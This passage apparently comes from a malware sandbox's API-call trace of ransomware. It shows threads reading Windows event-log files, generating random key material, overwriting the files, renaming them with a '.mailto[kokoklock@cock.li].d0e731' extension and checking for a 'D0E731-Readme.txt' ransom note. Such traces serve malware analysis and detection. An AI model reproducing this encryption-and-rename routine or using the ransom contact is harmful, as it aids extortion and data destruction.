(in: CurrentTime=0x99af8d8 | out: CurrentTime=0x99af8d8*=132121176215813813) returned 0x0 [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xa46d7de1 [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x4ba2a2a2 [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xff0efb3e [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x8c8c8eaf [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xce3ce0bc [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x27d79bbf [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xe49d4cdd [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xb98f9c76 [0063.681] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xe2c2aa53 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x2269aca0 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x1cad5f5 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x4d0f982 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x667bbb26 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xbf6434b0 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x7ee48c42 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xdc188d36 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xfcb202b [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x73529fc [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xfb8fc346 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x299f0ed2 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x2b988578 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x3a0f62b [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x2a0e4ff6 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x30e52ad [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x3d9aeff7 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x7d7bc1e6 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x65885071 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0xb6d3ac76 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x75182419 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x412d7fde [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x7910d1f5 [0063.682] RtlRandom (in: Seed=0x99af8e4 | out: Seed=0x99af8e4) returned 0x46d84167 [0063.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efab8 [0063.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0063.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b8188 [0063.694] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.694] ReadFile (in: hFile=0x3c4, lpBuffer=0x55b8188, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x99af8b0, lpOverlapped=0x0 | out: lpBuffer=0x55b8188*, lpNumberOfBytesRead=0x99af8b0*=0x4096, lpOverlapped=0x0) returned 1 [0063.957] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0063.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.957] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b40e8 [0063.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0063.958] WriteFile (in: hFile=0x3c4, lpBuffer=0x55b40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x99af8b0, lpOverlapped=0x0 | out: lpBuffer=0x55b40e8*, lpNumberOfBytesWritten=0x99af8b0*=0x4096, lpOverlapped=0x0) returned 1 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b40e8) returned 1 [0063.958] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.958] WriteFile (in: hFile=0x3c4, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x99af8e8, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0x99af8e8*=0x20, lpOverlapped=0x0) returned 1 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0063.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b8188) returned 1 [0063.958] WriteFile (in: hFile=0x3c4, lpBuffer=0x33efd60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x33efd60*, lpNumberOfBytesWritten=0x99af8fc*=0x8, lpOverlapped=0x0) returned 1 [0063.958] WriteFile (in: hFile=0x3c4, lpBuffer=0x99af914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x99af914*, lpNumberOfBytesWritten=0x99af8fc*=0x4, lpOverlapped=0x0) returned 1 [0063.958] WriteFile (in: hFile=0x3c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x99af8fc*=0x4, lpOverlapped=0x0) returned 1 [0063.959] WriteFile (in: hFile=0x3c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x99af8fc*=0x6c, lpOverlapped=0x0) returned 1 [0063.959] WriteFile (in: hFile=0x3c4, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0x99af8fc*=0x20, lpOverlapped=0x0) returned 1 [0063.959] WriteFile (in: hFile=0x3c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x99af8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x99af8fc*=0x4, lpOverlapped=0x0) returned 1 [0063.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efab8) returned 1 [0063.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0063.959] CloseHandle (hObject=0x3c4) returned 1 [0064.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x33fae98 [0064.490] wcscpy (in: _Dest=0x33fae98, _Source="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" [0064.490] wcscat (in: _Dest=0x33fae98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" [0064.490] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.630] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fae98) returned 1 [0064.631] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", dwFileAttributes=0x20) returned 0 [0064.631] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ea8 [0064.631] wcscpy (in: _Dest=0x3433ea8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.631] wcscat (in: _Dest=0x3433ea8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.631] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ea8) returned 1 [0064.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd070) returned 1 [0064.631] RtlExitUserThread (Status=0x1) Thread: id = 156 os_tid = 0x10e8 [0062.971] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0062.971] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0062.971] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0062.972] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x9a2f8b8 | out: lpFileSize=0x9a2f8b8*=69632) returned 1 [0062.972] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.972] ReadFile (in: hFile=0x3c0, lpBuffer=0x9a2f88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x9a2f88c*, lpNumberOfBytesRead=0x9a2f888*=0x4, lpOverlapped=0x0) returned 1 [0062.973] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0062.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.973] NtQuerySystemTime (in: CurrentTime=0x9a2f864 | out: CurrentTime=0x9a2f864*=132121176208631570) returned 0x0 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x5c8e68cb [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x5509c294 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xa0f6debd [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x5b1368bb [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x58bd75d0 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x8341bcb0 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x40b4d853 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xf733098 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x65a963d2 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x735000a8 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x4a1946c7 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x3c3f9e56 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xbfa2ddcb [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x8b1f8c93 [0062.973] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x7d7ae829 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x401dfdf6 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x2419e243 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x91821e42 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xb90c6c08 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xb8b4a9b8 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xd420e420 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xc633ab7a [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xf2bb2a27 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x12c36810 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x49899a4b [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x4de4795b [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x8e448c2d [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xb294e9d2 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x16e6e211 [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xc61aae7b [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0xdd5162bd [0062.974] RtlRandom (in: Seed=0x9a2f870 | out: Seed=0x9a2f870) returned 0x1b780386 [0062.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0062.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0062.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0062.985] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.985] ReadFile (in: hFile=0x3c0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9a2f83c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9a2f83c*=0x4096, lpOverlapped=0x0) returned 1 [0062.985] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0062.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0062.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0062.986] WriteFile (in: hFile=0x3c0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9a2f83c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9a2f83c*=0x4096, lpOverlapped=0x0) returned 1 [0062.986] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.986] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x347cad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9a2f874, lpOverlapped=0x0 | out: lpBuffer=0x347cad8*, lpNumberOfBytesWritten=0x9a2f874*=0x20, lpOverlapped=0x0) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x347cb50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x347cb50*, lpNumberOfBytesWritten=0x9a2f888*=0x8, lpOverlapped=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x9a2f8a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x9a2f8a0*, lpNumberOfBytesWritten=0x9a2f888*=0x4, lpOverlapped=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9a2f888*=0x4, lpOverlapped=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9a2f888*=0x6c, lpOverlapped=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x9a2f888*=0x20, lpOverlapped=0x0) returned 1 [0062.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9a2f888, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9a2f888*=0x4, lpOverlapped=0x0) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0062.987] CloseHandle (hObject=0x3c0) returned 1 [0062.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce9d8 [0062.990] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" [0062.990] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0062.990] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.991] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0062.991] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0062.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0062.991] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.991] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.991] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4180) returned 1 [0062.991] RtlExitUserThread (Status=0x1) Thread: id = 157 os_tid = 0x10ec [0062.993] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0062.993] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0062.993] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0062.993] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x9aafdc8 | out: lpFileSize=0x9aafdc8*=69632) returned 1 [0062.993] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.993] ReadFile (in: hFile=0x3c0, lpBuffer=0x9aafd9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9aafd98, lpOverlapped=0x0 | out: lpBuffer=0x9aafd9c*, lpNumberOfBytesRead=0x9aafd98*=0x4, lpOverlapped=0x0) returned 1 [0063.668] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0063.668] NtQuerySystemTime (in: CurrentTime=0x9aafd74 | out: CurrentTime=0x9aafd74*=132121176215668469) returned 0x0 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xfa6b9dd8 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xcdf98104 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xf63825b3 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x552b4f92 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x5f2c5d17 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x74df3f00 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x8a488910 [0063.668] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xb6135308 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xef1b409b [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x7b313a6c [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x822ddcd1 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x5d685c6d [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x456dec32 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x86a33108 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x2d4c8685 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xb49daa23 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x97d9978b [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x98040cb [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xfc85a208 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0xe1872536 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x18e92115 [0063.669] RtlRandom (in: Seed=0x9aafd80 | out: Seed=0x9aafd80) returned 0x903ea3d5 [0063.669] RtlRandom 